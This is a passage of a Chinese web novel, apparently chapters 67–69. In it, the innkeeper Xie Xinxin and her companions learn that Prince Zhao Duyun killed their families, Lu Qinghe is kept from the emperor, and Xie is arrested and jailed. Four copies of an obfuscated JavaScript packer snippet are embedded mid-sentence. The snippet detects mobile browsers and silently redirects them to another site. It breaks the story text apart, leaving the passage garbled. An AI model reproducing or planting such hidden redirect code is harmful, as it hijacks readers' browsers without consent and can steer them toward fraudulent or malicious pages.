马南春拧着眉:“听不懂。” 谢辛辛继续道:“女子对郎君的情意固然重要,但情意终有消散时,多学一门傍身的手艺,也是给自己找个兜底。” “女子嫁人后,纵然家中再美满,也是终日为夫家操持。和我们的工作有什么区别?为宣王府做事,纵得宣王府一时供养,哪日世子将我们一脚踢开,我等又何去何从?” 马南春一愣:“世子不会……” 谢辛辛觑了他一眼,真有些恨铁不成钢:“你就算再是个木头,难道没看到茗琅遭遇了什么?” “什么?”马南春被她说得懵了,“世子殿下的确曾说,若发现你有二心,就取茗琅的性命。可最后茗琅不是好好地回来了?况且据我所知,茗琅在世子府中金屋藏娇,锦衣玉食,不曾短她什么。” “金屋藏娇?”谢辛辛气笑了,“你来茗琅房外等我们,我好好让你看看什么是金屋藏娇。” 说着,叫了一声茗琅,两个姑娘私语一番,茗琅兀然怒气冲冲地瞪了他一眼,才随谢辛辛走开了。 马南春只觉得一头雾水,犹豫再三,还是向厨傅们告了歉,往院子里茗琅的住所走去。 茗琅的房间掩着门,马南春本是暗探,此时警觉,不由得抱上了剑。 踌躇着要不要推门而入,却闻内中透出淡淡的闺房香气,手碰到门缘,还是敲了敲门。 茗琅的声音传出来:“进来吧。” 马南春道:“女子闺房,不便擅入。” 茗琅呸了一声:“啰嗦什么,进来!” 马南春顿了顿,自言自语说了声唐突了,一推门,眼前一道烟色纱帐,帐后却是香肌玉骨。 茗琅褪去半个外衫,挽起半只袖子,藕白的胳膊上淤红一片,即便隔着帐子仍是触目惊心。 马南春惊得别过脸去,却听茗琅笑了一声:“这才看到哪儿,我身上也有,你要看么?” 马南春一迭声叫着不必,慌称道: “茗琅,你是世子的人,我怎可冒犯。” 谢辛辛冷笑一声:“你们这些人到底有完没完?” “一会说我谢辛辛是赵都云的人,一会儿又说茗琅也是赵都云的人,你们口口声声就将别人像个物件一样划分好归属,可曾问过我与茗琅的意见?” 马南春本就不擅口舌,这会儿被噎得讪讪,只能说一句抱歉。 茗琅接着道:“我才不想当谁的东西。掌柜的将三拱月桥那儿的胭脂铺子给了我,以后我便守着谢家的店,再不会回王府了。” 马南春这才有些明白:“原来你不喜欢世子殿下?” 这同一个府 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13422894|130187||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里出来的,怎么笨成这样?茗琅几句话了解了马南春的性子,反而不生气了,只觉得他好笑,索性撩开帐子去,把青青紫紫的胳膊伸到他眼前,叫他避也避不开眼睛。 “马南春,睁大你的狗眼看看,这就是你说的金屋藏娇?” 马南春吓得把剑丢了捂住眼睛,从指缝里看她那不成样子的胳膊:“快穿上!” 茗琅觉得奇怪。听说马南春也是府中当暗探培养的孤儿,不和她们几个住在一处。瞧着比自己还年长些,怎么害羞成这样。 茗琅披上外袍,问他:“你接任务,没近过女子之身?” 马南春这才把手放下来:“我……我自成材,便被派往玉春楼卧底,不曾接过别的任务。” 行吧,既然如此,茗琅也收起了捉弄人的心思。 袍带一系,茗琅道:“掌柜的同我,没有要教你做人的意思。只是大家都是孤儿,那赵世子不是什么好人,我们两个不愿意瞒着你。是是非非,交由你自己定夺。” 谢辛辛点了点头,等着马南春的应答。 马南春转过身去,迟疑道:“可世子对我有恩……” 言下之意,便是哪怕赵都云是个恶人,他也得报答恩情才行。 谢辛辛忽然觉得马南春这思路有些熟悉。 自己曾经不也是抱着这个心思,才替宣王府做事的么? 它曾感恩赵都云在她谢家烧完了之后伸出援手,可最后却发现,也是赵都云在她谢家一案的卷宗上动的手脚。 她忽然想到初见边青昙时,与她的对话。 “不是我有意揶揄你,若是谁知道当初帮助自己的人,就是杀了自己全家的仇人,还能‘死心塌地’地替他干活,那得是什么度量?菩萨下凡不成?” 这么匪夷所思的一句话,自己竟差点忘了! 她忽然起了一身鸡皮疙瘩,不顾马南春,而是拉住茗琅问:“边青昙的家人怎么死的来着?” 茗琅想了想:“我记得她说过,她母亲是过悲而死,父亲则是采药时死于毒蛇,可青昙似乎不信。” 谢辛辛追问:“她为何不信,可有和你们说过?” 茗琅道:“她说,他父亲擅药理,治过不少蛇毒之症。父亲去的山上有多药材,哪怕真被毒蛇咬了,也能替自己治疗。更何况衙门不让她看父亲的尸体,一定有问题。” 马南春对青昙这个名字有些耳熟,隐约记得曾是王府婢女,后来嫁出了府,便问了一嘴:“怎么了?” 谢辛辛却问他:“你父母是怎么死的?” 马南春说不知,父母过世时自己尚不记事。 谢辛辛又问:“茗琅,你爹娘……” 茗琅答:“我娘生我时就难产没了,我爹是开船的,水路上蒙了难,船翻了,我爹也没活成。” 谢辛辛顿感蹊跷:“什么船,走的什么航线,那时你多大,你可还记得?” 茗琅说记得,说清了是个什么模样的货船,开的是去邺州的航线,怕是一辈子也忘不了。 谢辛辛便道:“茗琅,你去替我打听边大夫生前接的最后一个病人是哪家哪个巷子。” “马南春,你随我去码头。” 谢辛辛本打算自己去查一查茗琅父亲身死的真相,但转念一想,马南春最好跟着她亲耳听听才好。 67.宫墙纪 她们正要兵分两路,谢辛辛都走出两步了,马南春却站着不动。 茗琅觉得这人有些意思,忍不住打趣他: “方才还怯得不敢进屋来,现下倒赖着我房里不走了?” 被她一说,马南春双颊飞了点红云,只说等一等。 就在自己衣袋里摸索了好一会儿。 茗琅逐渐不耐,抿唇道:“婆婆妈妈的。” 马南春终于摸着了自己想要的东西,握在手里往茗琅的掌心里一塞,含糊地说了一声:“这是活血化瘀的。” 转头急匆匆地跟上了谢小掌柜的步子。 茗琅怔在房里,将手中冰凉的玩意儿端在眼前一看,是一瓶小小的金创药。 …… 京中那边,大皇子承元是个贪玩的,难得身边有个俊美的少年郎,大吵大闹地要留赵都云在宫中。 赵都云面上恭顺,心里实在厌烦得紧。在他看来,这个蠢钝的同龄人远没有陆景明来得有意思。 无奈此人是自己亲选的权力跳板,仍是得自己呵腰哄着:“殿下的心意臣领了,只是臣家父重疾缠身,令臣时刻忧心,留在宫中没得让殿下也心烦。圣上常言百善孝为先,臣不敢不聆圣上教诲。” 承元平日最腻嫌这种大道理,又不爱看人愁眉苦脸,还没听完他说什么,摆摆手就放赵都云走了。 这云顺郡王的封号一有,虽能更扬眉吐气,但繁文缛节也多。这几日在云京,赵都云时不时就要上宫里请安问询,几乎没个得闲的时候。终于跨出了宫门,长舒一口气,就要吩咐: “去叫陆世子来陪我喝酒。” 侍从有些为难:“这个点,陆世子怕是在练功呢。” 赵都云道:“那又如何?算了,不如我提酒去找他。” 赵都云不知道北瑛王府的规矩,别说陆景明和他手底下的兵,就是北瑛王,除非国宴,白日里也不会寻欢饮酒。 但赵都云的手下知道啊,此刻只得委婉相劝:“陆世子什么脸面,也劳烦郡王亲自去见。依奴才之见,差人去将陆世子请来便好。” 赵都云嗯了声:“有理。” 就见有小厮匆匆地牵了马来,便顺□□待他:“将陆世子请来,说我今日得空,可共谋大事。” 那小厮却不应声,反而慌里慌张地说: “郡王爷,有怪事!有怪事啊!” 看赵都云面色不悦,就有随从上前先给这人来了一耳光:“好好说话。” “哎。”那小厮挨打还顾不上疼,神情仍似见了鬼一般,“徐明庚徐大人身边的线人来报,徐明庚今天见了先前死透了的那陆二公子。” 赵都云眉间一蹙:“他可看仔细了?” 小厮称千真万确:“他虽然不是徐大人贴身的奴才,但那日给徐大人送东西,走在徐大人和陆二公子的面前,就那么一臂的距离瞧得真真切切的,定是陆二公子没错。” “却听他说徐大人和陆二公子相谈甚欢的样子,似乎并未结下深仇大怨。他还想听他们说的什么,就被赶走了。” “好一个徐明庚。”赵都云咬牙切齿,怒意无从发泄,抬脚将这传信的小厮踢在地上,“我说他在北瑛王府的底子下这样张狂行事,还能活到现在,原来是个吃两家饭的贱奴!” 侍从问道:“郡王爷,如今怎么办?可要杀了?” 赵都云冷静下来,稍加思索:“留自然是留不得,如今,需要他采买的东西也都齐全了,他早是无用的贱命。只是我才在宫中有些立足之本,可不能和朝廷命官暴死的案子扯上干系。” “近来他不是同许多官员结了梁子么?”赵都云冷笑一声,“去添把火,别让他死得太好看。” “奴才明白。” “慢。”赵都云叫住了抬腿要走的侍从,“联系莲州那边,把玉春楼的痕迹做干净。留谢辛辛一命,别的都杀了。” 受命的奴才心里有些犯嘀咕,都知道谢掌柜是郡王爷打小的执念,这事要怎么办才好呢? 不日,京中不知哪儿得来的消息,传徐明庚有意巴结宰辅,为自己谋个京官做,甚至有人传徐明庚若得逞,第一件事便要奏请皇帝以司马懿为鉴,“不以功次定朝位”。谣言甚嚣尘上,北瑛王旗下大皇子派多为建国老臣之后,此刻人心惶惶,皆不明白王爷为何无所作为。 北瑛王爷倒是很有定力,敏锐地察觉到其中有人作祟,默不作声,只想静静看戏。 可王爷做的住,下面的人可做不住了,光是弹劾徐明庚的帖子就让人看不过来。 这会儿御书房也有人觉得困惑。院首太监霍必恩此刻正斗胆问着: “皇上,近来为何心情这么好啊?” 霍必恩想问的,其实是为何朝中这样乱,龙颜反而甚悦。按说徐明庚的官衔不大,又多生事端,若是以往,皇帝早就罢了他的官了事。 可他哪敢过问政事呢,只得这么在边缘试探一下。 天子之心,谁能看明白?皇帝微微笑了笑,说:“投石入水,方知池中有些什么鱼。否则平静无波,朕如何知道他们心中还存了几分社稷?” 霍必恩似乎懂了,又似乎没懂,讪笑道:“这就是北瑛王府那位少年郎说的办法?” 皇帝笑容一肃,瞪了他一眼。 吓得霍必恩跪下去低着脑袋:“奴才该死。” 皇帝任他多跪了一会儿,才道:“你也是宫里的老人了,知道宫中眼多耳杂,现在不该说的,就少说。” 霍必恩谢了圣上教诲,慢慢地起身,才觉过味来。什么叫“现在不该说的”?意思是皇上有意在未来将那陆二公子摆到台面上来? 才揣度着,外头有个小太监进来跪了礼,瓮声瓮气地说: “陆清和求见圣上,称有要事要禀。” 霍必恩一咋舌:“皇上。” 皇帝点点头:“他这是准备活了。传。” 太监们从内到外一声声传了下去: “传,陆清和觐见——” “传,陆清和觐见——” “传,陆清和觐……” 陆清和静静等在几道鎏金腾龙缠纹立柱之外,手中是谢辛辛亲手核算的玉春楼与宣王府之往来账本市舶司徐知监亲自奉上的赵都云采买铁矿、硝油、药材的文书,以及那日邓船工打捞上来的生铁兵器。 这些东西虽未构成严谨的证据链,以证明赵都云在暗中策划谋反,却足以说明赵都云用心不轨。 更何况还有孟安,若孟安能为人证,便能证明赵都云在邺州铁厂为己谋私,滥用公职,若能证明这些铁器与邺州铁厂有关,才是最关键的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13437090|130187||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 证据! 小太监对他一扬手:“您请吧。” 才要进去,却冒出个气宇不凡的大太监,衣料贵气,不似旁人,张口调就起得高高的,喊了一声:“等一会儿——” 小太监打了个颤,手忙脚乱地拉着陆清和站在一旁,堆着笑道:“公公若有要事,您先请。” 陆清和直着腰,凛然望进这个宦臣的眼睛。这位公公被他瞧得发怵,只当他不大通宫里的规矩,迅速抢在他前面进了御书房。 眼看这位陆公子周身萦起冷气,等那公公走远了,小太监才解释:“这是大皇子身边的近侍白公公,咱们还是不得罪的好。” “咱们若走在他前面去,后头不定招什么事端呢。让这一时,叫这位公公先进去,圣上若怪罪下来,也是骂他不知礼数,罪名在他头上。” 陆清和知道这是他们在宫中的处世之道,只是品着这层意思,越品越不对劲起来,忽叫一声:“不好!” 大皇子的近侍公公,想必和宣王府也有交情吧?为什么非得在他前头进御书房? 于是拔腿上前。 小太监见他非要和这位公公争个先后的架势,慌忙伸手拦住:“哎,您看着气度不凡,何苦和我们这样的人争长短?” 陆清和顾不得许多,只说:“若让他先觐见圣上,我下次可再面圣,就不知到什么时辰了。” 小太监听不懂他说什么,只能抱着他的腿,嗳哟连天:“您说什么呢?哪就差这一时的?” 拉扯之下,那厢大皇子的近侍白公公早在前头走进了御书房。 陆清和腿上挂着个小太监,终于不再往前去。 小太监从地上爬起来,擦着汗:“您想明白就好,见天家的事,不在于一时。” 陆清和漠然地摇摇头,不答。 小太监哪里知道,这白公公一进去就是一个时辰,待到宫人来添了一次香,二人站的腿都木了,白公公才施施然走了出来,目不斜视的样子,活像斗技场上刚拔得头筹的大公鸡,连看也没看他们一眼,神气活现地走了。 “这……”小太监也有些尴尬,或许是同为阉人,见了阉人头子的做派,有种荣辱与共的羞耻,忙上前替陆清和引路,“咱们这就走吧,进御书房去。” 走了几步,没想到门外的宫人却冷冷说了声:“放肆。” “这儿是什么地方,也容你随便带人进来?” 小太监本来就等得腰酸腿麻,此时见个小宫人也给他甩脸子,一时有些气急,以为自己占理,也高声道:“你还知道规矩?皇上一早就传了这位大人觐见,不引大人进去,倒在这里拿腔拿调?” “放肆!” 这一次却不是那小宫人说的,而是霍必恩亲自走了出来,拖着长长的声音:“御书房外,岂容尔等喧哗?” 小太监忙呵着腰上去,谄笑道:“霍公公,您看,这是皇上要见的人呢。” 霍必恩远远的看了一眼陆清和。 模样真是个好模样,可是,唉…… 霍必恩道:“不必见了。皇上听了白公公的话,知道了北瑛王府在莲州借酒楼收了不少银子的事儿,现下不想见人了。” 说的这样详细,意在提点这位少年,能悟到多少,能否明白他遭人设计了,就全看这位陆公子的造化了。 68.命中冤 莲州的事自然不用多说。谢辛辛认识邓船工,又帮着邓船工救活过金福柱,一到码头,人人都当她是个熟面孔。 一问起茗琅提到的那艘货船,红漆金木,穹桅巨舶,竟是航道上最引瞩目的一艘大船,码头上是无人不知。问到最后,人人都叹一口气: “这样好的船,沉在风浪里了,实在可惜。” 有上年纪的纲首哼了一声:“天灾人祸。枪打出头鸟,没听说过?”[1] 谢辛辛不放过这个机会,忙接茬问:“敢问老人家,天灾我懂得,这人祸从何谈起啊?” “年轻人,看事情不能太浅薄。你打听的这个,是这莲州最大的货船,那这生意,自然也是越做越大,大了没边儿去,难免要摊上些……” 这人借机倚老卖老,才准备拿自己的阅历教训一番这小姑娘,话没说完,看清了这姑娘是谁。 他闭了嘴,“你是玉春楼的掌柜?” 谢辛辛道正是,从袖中拿出一小锭银子:“您请继续讲讲。” 那老人却不讲了,连银子也塞回谢辛辛的怀里:“我可不敢在谢掌柜面前搬弄是非。老头子走了半辈子船,什么该说什么不该说,懂的。” 这下无论再什么问询,老人都闭口不谈,让谢辛辛一筹莫展。 想来是因为沉船之事或真与赵都云有关,而这老人多少听说过宣王府与玉春楼不甚清白,这才不愿意在她这玉春楼的掌柜面前多嘴。 无法,她只得先行离开,来到不远的茶摊处,坐在了一个布衣男子身前。 “他认出我来了,不肯同我说。”谢辛辛饮了一盏茶,朝他使眼色,“此事定与宣王府有关,你去找这个人问问,别说你是玉春楼的。” 马南春狐疑着,有些不情愿地应下。 离了玉春楼,还要替掌柜做这些他不理解的事,马南春总觉得这应当是另外的价格。 于是唉声叹气地走向船埠。这蔫不唧的模样,全然是个被迫加班的跑堂,任谁也不会怀疑王府里派出去的杀手。 就这么直愣愣地走到老纲首眼前一蹲,老头子也傻了眼: “小兄弟,你又是怎么了?” 马南春两手一摊:“不想干活,来你这躲躲懒。” 老人登时控制不住自己好为人师的欲望,捻了捻水獭般的胡子:“年轻人,不努力怎么挣个出路?” “什么出路啊?”马南春不以为意,“咱们水上走货的,平日里防着雷雨水患也就罢了,还得提防着那些坏人。方才那个四处打听的掌柜你见着没有?还好我机灵,什么也没说。” 老人闻言顿时警觉:“你也知道那件事?” 马南春说可不是么,“知道归知道,哪敢在玉春楼的人面前搬弄呢?不过我也是后来听说,那时我年纪小。哎,大爷,那船出事的时候,你可亲眼见着了?传言是真是假啊?” 老人哼一声,“自然是真的。那船上还有我的好兄弟呢。他亲口告诉过我,那赵世子要包下他们船,单为自己运货,好像运的还是些要杀头的东西。哥几个胆子小,拒绝了,没过多久,那船就在河上失事。哪有这么巧的事?” 他看马南春沉默,以为他被震撼得缓不过神来,嗟呀着叹道:“可怜我那几个兄弟正值壮年,若非那事,定有大出息。” “如今想来,年轻的时候还是太傻,既听得了赵世子要运什么,纵然拒绝下去,哪还有活命的机会呢?” 马南春问:“宣王府究竟要运什么,为什么不自己买一艘船?” 老人一乐:“蠢小子。” “运的那些玩意,据我那小兄弟所说,多是从海港运来的私货。私自用船,交通外国,他们岂敢用自己的名头?” “可怜那船上还有无辜海商……哎,你又干什么去?” 马南春早起了身,摆摆手:“干活儿去了。” 故事已经讲清楚了,他也没必要继续在这听下去。 若老人所言非虚,茗琅之父,就是那船上无辜之人中的一个。 世子殿下便是茗琅的杀夫仇人。 却将茗琅带进府中,令之为他所用,为自己的杀夫仇人所用。 他知道自己思维不敏,再思索这些事,实在有些为难。遂轻轻晃了晃脑袋,拐到茶摊,向谢辛辛简单复述了一遍自己方才所得之故事,随后不再多言。 谢辛辛了愣怔片刻,称:“我早该想到的。” 马南春不懂,为什么掌柜的可以说“早该想到的”。或许聪慧之人总会要求自己深谋远虑。他马南春不是这种人。 掌柜的让他知道这件事,自有掌柜的用意。但马南春不愿意去想。 “回吧。”马南春说。 他吸了吸鼻子。江上吹过来的风有些腥味。 “嗯……”谢辛辛试探地问他,“你有没有想过,或许你的家人也是……” “没想过。” 他说谎了。 其实他在船埠听那老人讲故事的时候就想过了。 只是他六亲缘浅,打记事起没见过父母,因而仇恨也淡薄。再加上前半生都在王府中受训,并未认识过府外之人,遂既不知社交,也不知背叛的感觉。 莫非这江风的腥气,便是欺骗的气味? 马南春隐隐觉得有些不好受。 回酒楼的路上,见马南春一路沉默,谢辛辛心里头也有些不好受起来。越发近了玉春楼,四周车马叫卖就愈热闹,马南春则像只不怕人闹的呆鸟,闹市之中抱着剑,不说话。 谢辛辛其实知道马南春在想什么,但她不愿意点破。她想法子让马南春认清宣王府,其实也在想法子说服自己。 自从见了佘半仙,谢辛辛这样多思的人,嘴上对陆清和说着“线索断了”,其实心里也有面镜子。 只是这镜子蒙了一块布。是她自个儿盖上的遮羞布。 倘若谢府…… 倘若谢府真的是被赵都云毁去的。 那她替宣王府营生的这几年又算什么呢? 她成什么人了呢? 不愿意接受赵世子或是杀人凶手的马南春,和不愿意接受宣王府可能是烧了谢家的真凶的谢辛辛,又有甚么分别呢? 俗话说,一鼓作气,再而衰三而竭。若是旁人一腔热血想着复仇,筹谋多年,却发现自己对仇人“以德报怨”,想必要不晴天霹雳般颓丧下去,再也燃不起当初熊熊的斗志;剩下一些人,有可能继续佯装不知,自欺欺人地生活下去。 宣王府那个收养孤儿的院子里,一定有许多人最后也发现了真相,成为了一蹶不振或是自欺欺人的其中一种人罢。 但谢辛辛不一样,她是有心气儿的,憋着一股劲,将这错把仇人认主家耻辱化作怒火,越难受燃得越旺盛。 她想,她非要在这他人设计的泥淖中,挣出点花样来。 两人各怀心事,回了玉春楼,却见茗琅已经张罗着在打扫忙活了。挽起袖子来,狠狠擦着柜台。 账房先生都愣住了:“茗琅姑娘,这实木柜子和你有什么怨?” 谢辛辛叫她:“茗琅……” 茗琅不等她问,就说:“掌柜的,你猜的不错。边大夫生前接的最后一单,就是去紫惠山脚下那个温泉山庄。” “紫惠山……”谢辛辛对这名字有些熟悉,应是莲州南边一个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13465396|130187||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 风景独好的小丘陵。 “那温泉山庄,我也打听了,正是赵世子的避暑庄子。” 谢辛辛顿了顿,平白地说起另一件事来: “我先前机缘会逢,认识过一个替赵世子做事的道士。听他说,他儿子也是进了宣王府之后意外没了的。赵都云却供养着他,替他谋了的道观里的位置。” 说到这了,哪还有不懂的,怎么偏偏他们几个的亲人都和赵都云扯上关系之后就出意外了? 茗琅咬着牙,道:“你们呢,去码头问到什么了?直说吧,我受的住。” 话虽这么说,听到一半,茗琅眼眶便红了。眼见着茗琅睫上挂起水珠,马南春实在说不下去,还没说完,默默闭上了嘴。 茗琅抹了把眼睛,声音还颤抖着:“我可不是要哭。眼睛里难受,大概进沙子了。” “是是是。”谢辛辛叹气,“我给你吹吹。” 装模作样吹了几口,马南春看得紧张,讷讷道:“真的吗,怎么红成这样,和兔子似的,要不要去看大夫?” 谢辛辛:“……哪来的呆子。” “说正经的。”谢辛辛道,“马南春,你别再骗自己了。赵都云是不是个好主子,你心里还没判断吗?” 马南春严肃起来:“话虽如此,这些都是你的猜测,并无实据。” “你!”茗琅将抹布啪地一甩,吓得账房躲到了柜子下面,她才压低了声音,“自欺欺人!谁要你的破药!” 说着,把那一小瓶金创药丢回给马南春,骂骂咧咧地走了。 马南春并不羞恼,而是将药瓶递给了谢辛辛:“谢掌柜,这药还是劳烦你帮我给她吧,我听说,女子都爱惜自己的肌肤。茗琅姑娘那个伤一定不好受。” 谢辛辛见他油盐不进,也懒得与他多话。正要接过,门口却来了几个高帽青衣的捕快,官刀的刀柄在门上敲得梆梆响: “莲州府衙办案!闲杂人等回避!” 怎么回事?食客们也傻了眼。 在玉春楼吃饭的多是本地富绅,这衙门哪怕不给玉春楼脸面,多少也会给客人一些面子,上来就大叫大嚷的,全然不似从前啊? 谢辛辛眉目一肃,敏锐地察觉事态不对。 她与郭知州素不相识之时,衙门来此尚且给她几分薄面。如今她成了郭知州的府上之宾,这些捕快为何反而不客气起来? 莫非陆清和食言了? 他将玉春楼的账本呈达宫中,却没保住玉春楼? 下意识迎了上去:“几位官爷,不知是否有什么误会?” 账房先生冒出个头:“对对对,这是咱们玉春楼的掌柜娘子,有事可与她分说。” 捕快挑着眉毛:“谢掌柜是吧。” 谢辛辛一福身:“正是。” “抓得就是你!”捕快高声一呵,“谢氏听宣!” “谢氏勾结逆贼,借酒楼之便,暗行洗颈之事,扰乱市井,罪大恶极。我等奉京令,擒你归案,以正法纪!” [2] “拷走!” 谢辛辛脸色一变,先前所有念头都成了灰烬。 原是自己不该轻信了陆清和。如今旧日事发,若锒铛入狱,什么替谢家复仇,还从何谈起呢? 却听那捕快还道:“酒楼中有名‘茗琅’、‘马南春’者,一并带走。” 又扫了一眼在座众人:“诸位听好,上头体恤民情,今日本是擒拿掌柜谢氏及其同伙,只搜查谢氏及同伙之住所、酒楼营业文书等。在座不受波及,毋需恐慌。” [1]纲首:领船队出航的船长。 [2]洗颈:洗黑钱之隐语 69.又见昙 茗琅和马南春都被带走,谢辛辛自己也是转眼就被带上了手枷。 她本还想着,待见过郭知州之后,事态尚有转圜的余地。可手枷上锁链的另一端握在捕头的手里,而捕头并没有将她带到公堂之上,却是将她一路带进了莲州府狱。 等到进了女监,牢房独有的灰霉味冲进她的鼻腔,她才真切意识到,这不是桩小事了。 “进去!” 衙吏不留情地将她往大牢中一扯。 谢辛辛踉跄两步,让自己站定:“大人……” 衙吏粗声粗气地打断:“别喊冤。来这儿的,没人不说自己是冤枉的,老实呆着。” 谢辛辛尽量低着声气:“大人,我并非要喊冤。只是向大人请教,说我勾结逆贼,不知这逆贼是谁?说我暗中进行违禁之事,可有证据?” 没想到衙吏连听也听得不耐烦起来:“我只负责抓人,你说这些,我听不懂。管你外头是什么身份,进了这里头,再多话,就得挨嘴巴,懂了么?……穆娘子,交给你了。” 被他叫做穆娘子的,是个一身精壮的女牢头。她接过那人手中的铁链,“走吧。比你先进来的那个姑娘,是叫茗琅来着吧?她可没你这么多话,别不知好歹。” 原来茗琅已经先被收押了。所幸没牵连到玉春楼,让她在这种局面下,还有挣扎的想头。 “哎!”谢辛辛有些着急,“我知各位大人办差辛苦,不愿为难,只求让我见一面知州郭大人,将案情陈清!” 霎时铁链划拉一声,她腕上一沉,紧接着被手枷上的链子带得往前摔去。 分明是穆娘子故意拉扯,带倒了她! 眼见着脸就要砸在地上,手却拷在木枷里,她情急之下拿手肘一撑地,肘上顿时一片火辣辣的疼,但好在没让自己脸着地。 衙吏见怪不怪,转身就走了。穆娘子冷冷道:“给你长个教训。记好,这大牢不是给你说理的地方。” 手肘擦破了皮,在这样阴湿的环境中实在很疼,看不清流血没有。谢辛辛左右看了一眼——隔着昏暗的光线,有女囚从栅门缝隙中窥视她。 她有些明白这是个什么地方了。若是在这里露怯,往后的日子或许要更难过。 于是挣扎着从地上爬起来,将破了皮的手臂藏进袖子里,轻声道:“知道了。” 什么劝说马南春啊、查清赵都云是不是火烧谢府的凶手啊,都且搁置了,先在这大牢里面生存下去,伺机待动是正经。 穆娘子轻车熟路地带她到女囚入狱身检的房间,给她松了手枷,“将衣服换了吧。” 她见房中一处捡漏的柜子,什么也没放,另有一个贴墙放的长条桌子,上面摆着一套粗布囚服,虽然扎满了线头,但还算干净,比她预想的好。 只是在这种阴湿地方却有一套干净衣服,怎么想怎么有些不自然。 穆娘子努努嘴:“脱下来扔柜子上,都是女人,不拘礼仪了吧。” 这房间四面无窗,只有一扇连通牢房的小门。谢辛辛往门外一望,无数双女囚的眼睛盯着她,还有吃吃的笑声。 但如今不是矫情的时候,她将囚服拿起来看了看,脑中还思量着对策。 穆娘子看着她,“脱呀,还不好意思呢?” 饶是谢辛辛这样心性坚毅的,到底还是女子,听了这种问话,脸上也僵住了。 穆娘子的声音很有中气,这么一声揶揄,闹得整间牢房传来笑声。 虽说是女囚狱,但有的女犯在这乌瘴之气待久了,日日被狱吏欺压,只盼着别人比自己更惨,心里才舒坦些,早已没了女娘之间的同理心。 不过穆娘子对发笑的女囚也没有好脸色,骂了两句脏话,替谢辛辛把门关上了。 穆娘子回过身来,将背整个压在门上,粗腰圆膀子的,将房门压得严实,目光沉郁地看着她。 谢辛辛心一紧,下意识拔下头上的金簪子握在手里。 “怎么?”穆娘子抡了抡肩,轻声讥嘲,“你要同我打?” “大人说笑了。”谢辛辛客气地笑,握着簪子,一步一步地走过去,“无论在外头是什么身份,在狱中还不是得仰仗您呢?怎会以下犯上?” 话虽这么说,她持簪走来的模样,分明带着戾气。 明知这女子无甚武力,仍是看得穆娘子喉头咽了咽,全身肌肉都绷紧了。 “我劝你……” 还未说完,穆娘子惊觉自己手中被塞了一长条冰凉的东西。 正是她方才拿着的金簪。 谢辛辛朝她甜甜一笑:“这种东西,我在里头用不上,不如请穆娘子替我保管。” 说是保管,但定然是没有取回的那一日的。 呵。穆娘子忍不住在心里嘲笑。 原来是自己的错觉。还以为玉春楼的小掌柜是个什么人物,不过是个出身好的小女伢,懂点贿赂人的小聪明罢了。 反正自己原本就不会为难她。于是穆娘子放松下来,从善如流地接过金簪,刚要说:“识趣便……” 谢辛辛却捏着簪子不让她抽走,冷不防拉近了二人的距离,和那穆娘子眼睛对着鼻子: “大人就别跟我绕弯子了。” 眼前芙蓉花一般的面容陡然拉近——净白的面庞在跌倒时沾了一抹黑灰,却更透出一股逼人的美来。 穆娘子看得一怔,有些不自在:“你说什么?” 谢辛辛莞尔,反手将簪子插在了穆娘子的矮髻上。鎏金点翠的样式,落在穆娘子朴素的发式上显得很是突兀。 “大人,这间房有这样长的桌子,还有这十六格的顶箱柜,平日里应该不是单放一个人的衣服的吧?” 穆娘子还未听懂,只梗着脖子:“那是自然。” 谢辛辛点头,继续道:“此处虽有一扇单门,门上却无锁无鞘,还要娘子靠身体将它堵上。” “看外面那些女囚的反应,她们应当是见惯了有人在此处脱换衣服的。” “可见寻常囚犯进狱换囚衣的时候,并无需要关门的说法。” “但这作为更衣的房间,没有窗户,再将门一关,就太合适做些什么了,哪怕囚犯暴起伤人,你一时也搬不来救兵。可你却不怕?为什么?为什么你觉得我不会伤你?” “又为何今日我来,是单我一人?明明与我同时同地被抓捕的,还有另一个叫茗琅的姑娘。为何你们要多费一番功夫,先将她收押?” “大人,您费了一番心思,先是当着众人的面刁难我,让狱中他人掉以轻心,再将我一人带到此地,关上门,究竟要对我说什么话 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13495618|130187||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?” 